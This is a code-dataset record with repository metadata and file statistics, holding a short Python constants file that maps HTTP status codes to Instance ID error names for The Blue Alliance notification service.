3e3bf58cf5c34f249c2596d9cc528ff41686bfa7	286	py	Python	tbans/consts/iid_error.py	BookWorm0103/the-blue-alliance	39b2f33531308b19218d58c726d51f020ee9d8b5	[ "MIT" ]	null	null	null	tbans/consts/iid_error.py	BookWorm0103/the-blue-alliance	39b2f33531308b19218d58c726d51f020ee9d8b5	[ "MIT" ]	null	null	null	tbans/consts/iid_error.py	BookWorm0103/the-blue-alliance	39b2f33531308b19218d58c726d51f020ee9d8b5	[ "MIT" ]	null	null	null	class IIDError: INTERNAL_ERROR = 'internal-error' UNKNOWN_ERROR = 'unknown-error' ERROR_CODES = { 400: 'invalid-argument', 401: 'authentication-error', 403: 'authentication-error', 500: INTERNAL_ERROR, 503: 'server-unavailable' }	26	37	0.611888	27	286	6.333333	0.592593	0.22807	0.19883	0	0	0	0	0	0	0	0.072115	0.272727	286	10	38	28.6	0.75	0	0	0	0	0.353147	0	0	0	1	0	false	0	0	0	0.4	0	1	0	null	1	1	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	null	0	0	0	0	0	0	0	0	0	3

Subsets and Splits

No community queries yet

The top public SQL queries from the community will appear here once available.